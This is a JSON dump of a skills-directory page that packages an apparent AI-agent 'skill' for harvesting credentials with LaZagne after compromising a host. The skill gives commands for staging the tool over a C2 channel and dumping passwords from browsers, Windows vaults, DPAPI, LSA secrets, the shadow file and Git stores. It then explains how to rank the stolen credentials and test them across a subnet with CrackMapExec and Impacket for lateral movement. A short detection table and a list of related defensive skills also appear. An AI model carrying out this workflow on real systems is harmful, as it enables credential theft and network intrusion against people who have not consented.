[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFQF9HY95D2CHRJF790H2R":3,"skill-same:01M6AFQF9HY95D2CHRJF790H2R":153},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":94,"commitSha":95,"skillDirectory":96,"forksCount":97,"repositoryHtmlUrl":98,"repositoryHomepageUrl":99,"ownerHtmlUrl":100,"ownerBlogUrl":101,"ownerDescription":102,"updatedAt":103,"install":104,"resources":117},"01M6AFQF9HY95D2CHRJF790H2R","performing-credential-access-with-lazagne",null,"Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35925,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"performing credential access with lazagne","exploitation","password-recovery","lazagne","credentials","analysis","applications","initial-access","t1059","t1078","cybersecurity","lateral-movement","credential-dumping","reconnaissance","red team","post-exploitation","credential-access","red-team","file","verification","2026-11-10 10:12:30",false,"---\nname: performing-credential-access-with-lazagne\ndescription: Extract stored credentials from compromised endpoints using the LaZagne\n  post-exploitation tool to recover passwords from browsers, databases, system vaults,\n  and applications during authorized red team operations.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- credential-access\n- lazagne\n- post-exploitation\n- password-recovery\n- credential-dumping\n- lateral-movement\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Content Format Conversion\n- File Content Analysis\n- Platform Hardening\n- File Format Verification\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1021\nmitre_f3:\n  version: '1.1'\n  tactics:\n  - reconnaissance\n  - positioning\n  - initial-access\n  techniques:\n  - id: T1555\n    name: Credentials from Password Stores\n    tactic: reconnaissance\n    source: attack\n  - id: T1555.003\n    name: 'Credentials from Password Stores: Credentials from Web Browsers'\n    tactic: reconnaissance\n    source: attack\n  - id: T1555.005\n    name: 'Credentials from Password Stores: Password Managers'\n    tactic: reconnaissance\n    source: attack\n  - id: T1539\n    name: Steal Web Session Cookie\n    tactic: positioning\n    source: attack\n  - id: F1006.002\n    name: 'Account Takeover: Exposed Login Credential'\n    tactic: initial-access\n    source: f3\n  - id: F1006\n    name: Account Takeover\n    tactic: initial-access\n    source: f3\n---\n# Performing Credential Access with LaZagne\n\n## Overview\n\nLaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing credential access with lazagne\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints\n- Extract credentials from all supported password stores\n- Parse and prioritize recovered credentials for lateral movement\n- Identify high-value credentials (domain admin, service accounts, cloud access)\n- Document credential harvesting results with appropriate evidence handling\n- Correlate recovered credentials with BloodHound attack paths\n\n## MITRE ATT&CK Mapping\n\n- **T1555** - Credentials from Password Stores\n- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers\n- **T1555.004** - Credentials from Password Stores: Windows Credential Manager\n- **T1552.001** - Unsecured Credentials: Credentials In Files\n- **T1552.002** - Unsecured Credentials: Credentials in Registry\n- **T1003.004** - OS Credential Dumping: LSA Secrets\n- **T1539** - Steal Web Session Cookie\n\n## Workflow\n\n### Phase 1: LaZagne Deployment\n1. Transfer LaZagne to the compromised host:\n   ```powershell\n   # Pre-compiled executable (Windows)\n   # Transfer lazagne.exe via C2 channel or file upload\n\n   # Python version (requires Python on target)\n   git clone https:\u002F\u002Fgithub.com\u002FAlessandroZ\u002FLaZagne.git\n   cd LaZagne\n   pip install -r requirements.txt\n   ```\n2. Verify execution capability and privileges:\n   ```powershell\n   # Check current user context\n   whoami \u002Fpriv\n\n   # LaZagne works with standard user privileges for user-level stores\n   # SYSTEM\u002FAdmin privileges needed for DPAPI master keys, LSA secrets, SAM\n   ```\n\n### Phase 2: Full Credential Extraction (Windows)\n1. Run LaZagne with all modules:\n   ```powershell\n   # Extract all credentials\n   lazagne.exe all\n\n   # Export results to JSON\n   lazagne.exe all -oJ\n\n   # Export results to specific file\n   lazagne.exe all -oJ -output C:\\Temp\\creds\n   ```\n2. Run specific modules for targeted extraction:\n   ```powershell\n   # Browsers only (Chrome, Firefox, Edge, Opera, IE)\n   lazagne.exe browsers\n\n   # Windows credential stores\n   lazagne.exe windows\n\n   # Database credentials\n   lazagne.exe databases\n\n   # Email client credentials\n   lazagne.exe mails\n\n   # Wi-Fi passwords\n   lazagne.exe wifi\n\n   # Git credentials\n   lazagne.exe git\n\n   # System credentials (requires elevated privileges)\n   lazagne.exe sysadmin\n   ```\n\n### Phase 3: Credential Extraction (Linux)\n1. Run LaZagne on Linux targets:\n   ```bash\n   # Full extraction\n   python3 laZagne.py all\n\n   # Browser credentials\n   python3 laZagne.py browsers\n\n   # System credentials (SSH keys, shadow file with root)\n   python3 laZagne.py sysadmin\n\n   # Database credentials\n   python3 laZagne.py databases\n\n   # Git credentials\n   python3 laZagne.py git\n   ```\n\n### Phase 4: Credential Analysis and Prioritization\n1. Parse JSON output for unique credentials:\n   ```python\n   import json\n   with open(\"creds.json\") as f:\n       results = json.load(f)\n   for module in results:\n       for entry in module.get(\"results\", []):\n           print(f\"Source: {entry.get('Category')}\")\n           print(f\"  User: {entry.get('Login', 'N\u002FA')}\")\n           print(f\"  URL\u002FHost: {entry.get('URL', entry.get('Host', 'N\u002FA'))}\")\n   ```\n2. Prioritize credentials by value:\n   - Domain credentials (AD accounts) for lateral movement\n   - Cloud service credentials (AWS, Azure, GCP console)\n   - VPN and remote access credentials\n   - Database credentials for data access\n   - Email credentials for business email compromise\n   - Service account credentials for privilege escalation\n\n### Phase 5: Credential Validation and Use\n1. Validate recovered domain credentials:\n   ```bash\n   # Test domain credentials with CrackMapExec\n   crackmapexec smb 10.10.10.0\u002F24 -u recovered_user -p 'recovered_pass'\n\n   # Test with Impacket\n   smbclient.py domain.local\u002Fuser:'password'@10.10.10.1\n   ```\n2. Cross-reference with BloodHound paths for high-value targets\n3. Use recovered credentials for lateral movement or privilege escalation\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| LaZagne | Multi-source credential extraction | Windows\u002FLinux\u002FmacOS |\n| Mimikatz | LSASS\u002FDPAPI credential dumping | Windows |\n| SharpChrome | Chrome credential extraction (.NET) | Windows |\n| SharpDPAPI | DPAPI credential decryption | Windows |\n| CrackMapExec | Credential validation and spraying | Linux |\n| Impacket | Remote credential testing | Linux (Python) |\n\n## LaZagne Module Coverage (Windows)\n\n| Category | Modules |\n|----------|---------|\n| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |\n| Email | Outlook, Thunderbird, Foxmail |\n| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |\n| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |\n| Windows | Credential Manager, Vault, DPAPI, Autologon |\n| WiFi | Stored Wi-Fi passwords |\n| Git | Git Credential Store, Git Credential Manager |\n| SVN | TortoiseSVN |\n| Chat | Pidgin, Skype |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| LaZagne.exe process execution | EDR process monitoring with hash-based detection |\n| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |\n| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |\n| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |\n| Mass credential store enumeration | Behavioral analysis for sequential access patterns |\n| Python interpreter accessing credential files | Script block logging and file access auditing |\n\n## Validation Criteria\n\n- [ ] LaZagne deployed on compromised endpoint\n- [ ] Full credential extraction completed (all modules)\n- [ ] Credentials exported in JSON format for analysis\n- [ ] Recovered credentials parsed and deduplicated\n- [ ] High-value credentials identified and prioritized\n- [ ] Domain credentials validated against AD\n- [ ] Lateral movement opportunities identified from recovered creds\n- [ ] Evidence documented with appropriate handling procedures\n","# Performing Credential Access with LaZagne\n\n## Overview\n\nLaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing credential access with lazagne\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints\n- Extract credentials from all supported password stores\n- Parse and prioritize recovered credentials for lateral movement\n- Identify high-value credentials (domain admin, service accounts, cloud access)\n- Document credential harvesting results with appropriate evidence handling\n- Correlate recovered credentials with BloodHound attack paths\n\n## MITRE ATT&CK Mapping\n\n- **T1555** - Credentials from Password Stores\n- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers\n- **T1555.004** - Credentials from Password Stores: Windows Credential Manager\n- **T1552.001** - Unsecured Credentials: Credentials In Files\n- **T1552.002** - Unsecured Credentials: Credentials in Registry\n- **T1003.004** - OS Credential Dumping: LSA Secrets\n- **T1539** - Steal Web Session Cookie\n\n## Workflow\n\n### Phase 1: LaZagne Deployment\n1. Transfer LaZagne to the compromised host:\n   ```powershell\n   # Pre-compiled executable (Windows)\n   # Transfer lazagne.exe via C2 channel or file upload\n\n   # Python version (requires Python on target)\n   git clone https:\u002F\u002Fgithub.com\u002FAlessandroZ\u002FLaZagne.git\n   cd LaZagne\n   pip install -r requirements.txt\n   ```\n2. Verify execution capability and privileges:\n   ```powershell\n   # Check current user context\n   whoami \u002Fpriv\n\n   # LaZagne works with standard user privileges for user-level stores\n   # SYSTEM\u002FAdmin privileges needed for DPAPI master keys, LSA secrets, SAM\n   ```\n\n### Phase 2: Full Credential Extraction (Windows)\n1. Run LaZagne with all modules:\n   ```powershell\n   # Extract all credentials\n   lazagne.exe all\n\n   # Export results to JSON\n   lazagne.exe all -oJ\n\n   # Export results to specific file\n   lazagne.exe all -oJ -output C:\\Temp\\creds\n   ```\n2. Run specific modules for targeted extraction:\n   ```powershell\n   # Browsers only (Chrome, Firefox, Edge, Opera, IE)\n   lazagne.exe browsers\n\n   # Windows credential stores\n   lazagne.exe windows\n\n   # Database credentials\n   lazagne.exe databases\n\n   # Email client credentials\n   lazagne.exe mails\n\n   # Wi-Fi passwords\n   lazagne.exe wifi\n\n   # Git credentials\n   lazagne.exe git\n\n   # System credentials (requires elevated privileges)\n   lazagne.exe sysadmin\n   ```\n\n### Phase 3: Credential Extraction (Linux)\n1. Run LaZagne on Linux targets:\n   ```bash\n   # Full extraction\n   python3 laZagne.py all\n\n   # Browser credentials\n   python3 laZagne.py browsers\n\n   # System credentials (SSH keys, shadow file with root)\n   python3 laZagne.py sysadmin\n\n   # Database credentials\n   python3 laZagne.py databases\n\n   # Git credentials\n   python3 laZagne.py git\n   ```\n\n### Phase 4: Credential Analysis and Prioritization\n1. Parse JSON output for unique credentials:\n   ```python\n   import json\n   with open(\"creds.json\") as f:\n       results = json.load(f)\n   for module in results:\n       for entry in module.get(\"results\", []):\n           print(f\"Source: {entry.get('Category')}\")\n           print(f\"  User: {entry.get('Login', 'N\u002FA')}\")\n           print(f\"  URL\u002FHost: {entry.get('URL', entry.get('Host', 'N\u002FA'))}\")\n   ```\n2. Prioritize credentials by value:\n   - Domain credentials (AD accounts) for lateral movement\n   - Cloud service credentials (AWS, Azure, GCP console)\n   - VPN and remote access credentials\n   - Database credentials for data access\n   - Email credentials for business email compromise\n   - Service account credentials for privilege escalation\n\n### Phase 5: Credential Validation and Use\n1. Validate recovered domain credentials:\n   ```bash\n   # Test domain credentials with CrackMapExec\n   crackmapexec smb 10.10.10.0\u002F24 -u recovered_user -p 'recovered_pass'\n\n   # Test with Impacket\n   smbclient.py domain.local\u002Fuser:'password'@10.10.10.1\n   ```\n2. Cross-reference with BloodHound paths for high-value targets\n3. Use recovered credentials for lateral movement or privilege escalation\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| LaZagne | Multi-source credential extraction | Windows\u002FLinux\u002FmacOS |\n| Mimikatz | LSASS\u002FDPAPI credential dumping | Windows |\n| SharpChrome | Chrome credential extraction (.NET) | Windows |\n| SharpDPAPI | DPAPI credential decryption | Windows |\n| CrackMapExec | Credential validation and spraying | Linux |\n| Impacket | Remote credential testing | Linux (Python) |\n\n## LaZagne Module Coverage (Windows)\n\n| Category | Modules |\n|----------|---------|\n| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |\n| Email | Outlook, Thunderbird, Foxmail |\n| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |\n| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |\n| Windows | Credential Manager, Vault, DPAPI, Autologon |\n| WiFi | Stored Wi-Fi passwords |\n| Git | Git Credential Store, Git Credential Manager |\n| SVN | TortoiseSVN |\n| Chat | Pidgin, Skype |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| LaZagne.exe process execution | EDR process monitoring with hash-based detection |\n| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |\n| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |\n| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |\n| Mass credential store enumeration | Behavioral analysis for sequential access patterns |\n| Python interpreter accessing credential files | Script block logging and file access auditing |\n\n## Validation Criteria\n\n- [ ] LaZagne deployed on compromised endpoint\n- [ ] Full credential extraction completed (all modules)\n- [ ] Credentials exported in JSON format for analysis\n- [ ] Recovered credentials parsed and deduplicated\n- [ ] High-value credentials identified and prioritized\n- [ ] Domain credentials validated against AD\n- [ ] Lateral movement opportunities identified from recovered creds\n- [ ] Evidence documented with appropriate handling procedures\n",{"name":5,"tags":49,"author":50,"domain":34,"license":15,"version":51,"mitre_f3":52,"nist_csf":77,"subdomain":81,"description":7,"mitre_attack":82,"d3fend_techniques":88},[41,40,27,39,26,36,35],"mahipal","1.0",{"tactics":53,"version":55,"techniques":56},[37,54,31],"positioning","1.1",[57,61,64,67,70,74],{"id":58,"name":59,"source":60,"tactic":37},"T1555","Credentials from Password Stores","attack",{"id":62,"name":63,"source":60,"tactic":37},"T1555.003","Credentials from Password Stores: Credentials from Web Browsers",{"id":65,"name":66,"source":60,"tactic":37},"T1555.005","Credentials from Password Stores: Password Managers",{"id":68,"name":69,"source":60,"tactic":54},"T1539","Steal Web Session Cookie",{"id":71,"name":72,"source":73,"tactic":31},"F1006.002","Account Takeover: Exposed Login Credential","f3",{"id":75,"name":76,"source":73,"tactic":31},"F1006","Account Takeover",[78,79,80],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[83,84,85,86,87],"T1595","T1190","T1059","T1078","T1021",[89,90,91,92,93],"File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","Platform Hardening","File Format Verification","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-credential-access-with-lazagne",4384,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":105,"prompt":115,"zipAvailable":116},[106,109,112],{"tool":107,"command":108},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-credential-access-with-lazagne",{"tool":110,"command":111},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-credential-access-with-lazagne",{"tool":113,"command":114},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-credential-access-with-lazagne","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002FSKILL.md",true,[118,124,129,135,139,143,149],{"path":119,"resourceType":120,"resourceTypeDesc":121,"sizeBytes":122,"sourceHtmlUrl":123},"assets\u002Ftemplate.md","ASSET","资产文件",887,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002Fassets\u002Ftemplate.md",{"path":125,"resourceType":125,"resourceTypeDesc":126,"sizeBytes":127,"sourceHtmlUrl":128},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002FLICENSE",{"path":130,"resourceType":131,"resourceTypeDesc":132,"sizeBytes":133,"sourceHtmlUrl":134},"references\u002Fapi-reference.md","REFERENCE","参考文档",5432,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002Freferences\u002Fapi-reference.md",{"path":136,"resourceType":131,"resourceTypeDesc":132,"sizeBytes":137,"sourceHtmlUrl":138},"references\u002Fstandards.md",1042,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002Freferences\u002Fstandards.md",{"path":140,"resourceType":131,"resourceTypeDesc":132,"sizeBytes":141,"sourceHtmlUrl":142},"references\u002Fworkflows.md",1696,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002Freferences\u002Fworkflows.md",{"path":144,"resourceType":145,"resourceTypeDesc":146,"sizeBytes":147,"sourceHtmlUrl":148},"scripts\u002Fagent.py","SCRIPT","脚本",10357,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002Fscripts\u002Fagent.py",{"path":150,"resourceType":145,"resourceTypeDesc":146,"sizeBytes":151,"sourceHtmlUrl":152},"scripts\u002Fprocess.py",6738,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-credential-access-with-lazagne\u002Fscripts\u002Fprocess.py",[154,181,204,231,257,284],{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":161,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[160],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[162,163,164,165,166,34,167,168,169,170,171,172,173,174,175,176,177,178,179,180],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":182,"name":183,"nameZh":6,"description":184,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":185,"categories":186,"keywords":188,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[187],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[189,177,190,191,166,192,34,169,43,193,194,195,196,197,198,199,200,201,202,203],"boot","TPM","validating tpm measured boot attestation","policy","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":205,"name":206,"nameZh":6,"description":207,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":208,"categories":209,"keywords":214,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[210,213],{"categoryNo":211,"categoryName":212,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[198,215,216,217,218,34,219,220,43,221,222,223,224,225,226,33,227,228,229,230],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":232,"name":233,"nameZh":6,"description":234,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":235,"categories":236,"keywords":238,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[237],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[239,240,241,34,242,243,244,245,246,247,248,249,250,251,252,253,195,254,255,256],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":258,"name":259,"nameZh":6,"description":260,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":261,"categories":262,"keywords":264,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[263],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[265,266,267,34,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":285,"name":286,"nameZh":6,"description":287,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":288,"categories":289,"keywords":291,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[290],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[166,292,34,293,42,294,295,296,297,298,299,33,300,227,29,301,302,303,304,305],"triaging security incident","siem","ioc","soc","NIST-800-61","NIST","severity","edr","execution","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]